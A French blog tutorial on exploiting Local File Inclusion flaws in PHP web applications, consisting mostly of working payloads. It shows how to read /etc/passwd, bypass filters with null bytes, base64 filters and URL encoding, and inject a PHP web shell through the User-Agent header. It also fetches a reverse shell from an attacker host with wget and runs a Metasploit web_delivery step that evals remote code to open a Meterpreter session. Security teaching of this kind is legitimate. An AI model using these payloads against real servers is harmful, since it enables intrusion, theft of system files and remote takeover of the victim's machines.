Exploiter les LFI

Je vous ai déjà présenté la théorie concernant les failles LFI / RFI.

A présent, il est temps de passer à la pratique, nous allons donc voir différentes façons d’ exploiter les LFI.

Avertissement :
Utiliser les techniques présentées sur ce blog, sur des systèmes qui ne vous appartiennent pas est ILLEGAL et peut vous exposer à de lourdes sanctions.

Si vous souhaitez vous exercer, vous devez le faire sur un système qui vous appartient, ou avec un accord écrit du propriétaire.
Je ne pourrais en aucun cas être tenu pour responsable de vos actes.

Exploiter les LFI basiques

En général lorsqu’on exploite une LFI, on va chercher à afficher des fichiers sensibles présents sur le serveur web.
Un de ces fichier sensibles est /etc/passwd. Il nous renseigne sur les utilisateurs de la machine.

Pour afficher ce fichier, il suffit de l’insérer dans l’URL de la page :

http://www.exemple.com/lfi.php?file=/etc/passwd

Le “?” permet d’utiliser la fonction include pour insérer une page, un fichier, etc…

Wget

Lorsque la requête GET est sécurisée, Il se peut que wget ne le soit pas.

wget http://www.exemple.com/lfi.php?file=/etc/passwd

Utiliser Burp Proxy

Il est possible d’utiliser un outil comme Burp, qui permet de visualiser, modifier et rejouer les requêtes :

  • Lancer Burp, aller dans l’onglet Proxy, et cliquer sur Intercept.
  • Configurer votre navigateur pour envoyer les requêtes vers Burp :
    Rendez vous dans les préférences, activez la fonction Proxy, entrez comme adresse 127.0.0.1 (adresse de loopback qui renvoie vers votre propre machine), entrez le port 8080, et cochez la case utiliser pour tous les protocoles.

    Pour plus de simplicité, vous pouvez utiliser l’extension FoxyProxy (sur Firefox) qui vous permettra d’enregistrer et de switcher facilement entre différentes configurations.
  • Exécuter la page souhaitée pour capturer la requête, et cliquer sur send to repeater.

    Dans le repeater, on peut analyser la réponse et modifier la requête.
    On voit qu’elle n’affiche pas /etc/passwd.
  • Modifier la requête et cliquer sur Go :
    On ajoute %00 (caractère nul) derrière /etc/passwd dans le corps de la requête :

Le caractère nul : %00

L’utilisation d’un caractère nul (Null Byte) permet d’éviter certaines protections en bloquant l’exécution du code qui vient ensuite.

http://www.exemple.com/lfi.php?file=/etc/passwd%00

Si ça ne fonctionne pas essayez de le remplacer par un ? qui passe la suite en paramètre.

Encodage en base64

Une autre technique permettant de contourner la sécurité qui nous empêche d’afficher le contenu d’un fichier PHP, consiste à utiliser l’encodage en base64.

Pour cela, on va utiliser utiliser une URL de la forme :

http://www.exemple.com/lfi.php?language= php://filter/read=convert.base64-encode/resource=/etc/passwd

La réponse nous sera renvoyée, encodé en base64.
Il faudra alors la décoder sur un site comme dcode.fr ou en utilisant l’extension HackBarV2 (appuyez sur F12 pour l’afficher).
Attention à ne pas utiliser la version de HackBar par SecuriTeam qui est payante

Exécuter des commandes sur le serveur

Il est possible d’exécuter des commandes sur le serveur web via la fonction PHP Input.
On utilise alors une URL sous cette forme :

http://www.exemple.com/lfi.php?file=php://input&cmd=ls

Proc/self/environ

Si le serveur n’est pas à jour, il sera possible de modifier proc/self /environ, le fichier qui stocke le User-Agent

http://www.exemple.com/lfi.php?page=proc/self/environ
  • Dans Burp, capturer la requête et envoyer au repeater.
  • Ajouter le code suivant dans le User-Agent :
<?php system($_GET[‘cmd’]); ?>

Il est alors possible d’envoyer des commandes.

http://www.exemple.com/lfi.php?file=/var/www/apache2/access.log&cmd=id

Obtenir un shell

Il est aussi possible d’obtenir un shell en remplaçant le user-agent par :

<?system('wget http://[attack machine]/php-reverse-shell.php -O /var/www/shell.php');?>

Ensuite, on exécute le shell :

http://www.exemple.com/shell.php

Connexion avec MetaSploit

MetaSploit est un outil de pentest polyvalent présent sur toutes les Distributions de pentest (comme Kali ou Parrot).
Si vous voulez tester ces distributions, vous pouvez les installer sur une Machine Virtuelle, sur une Clé USB (Live USB) ou sur vos disques en plus de Windows (Dual-Boot)

Si vous n’êtes vraiment pas familier, la solution la moins risquée pour vos données sera d’opter pour une Machine virtuelle.

  • Charger l’URL dans HackBarV2
  • cocher la case Enable Post data
  • Ajouter dans Post data le code suivant :
<?php system($_GET['cmd']); ?>
  • Se connecter en Reverse-tcp :

Le Reverse-tcp est (en quelques sorte) une connexion TCP entrante qui sera vue par la machine cible comme une connexion sortante. De ce fait, celle-ci ne se méfiera pas.

msf exploit (web_delivery)>set target 1
msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.0.104 
msf exploit (web_delivery)>set srvport 8081
msf exploit (web_delivery)>exploit

Une fois l’exploit lancé, on obtient une commande à lancer sur la machine cible :

php -d allow url fopen=true -r "eval(file get contents('http://192.168.0.100:8081/TKeWvjeahznwiJ')):"
  • On modifie notre requête :
http://www.exemple.com/lfi.php?file=php://input&cmd=php -d allow url fopen=true -r "eval(file get contents('http://192.168.0.100:8081/TKeWvjeahznwiJ')):"

On obtient un shell Meterpreter.

  • Se connecter à la session :
sessions –i 1

Encoder les URL

Encoder les points et les slashes dans les URL permet de bypasser certains filtres.

.%2e
/%2f
\%5c

Exemple :

%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cetc%5cpasswd

Double encodage

.%252e
/%252f
\%255c

Exemple:

%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd


Dans un prochain article nous verrons les injections SQL.

En attendant, retrouvez tous nos articles : Hacking, Dev, Sécu.

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *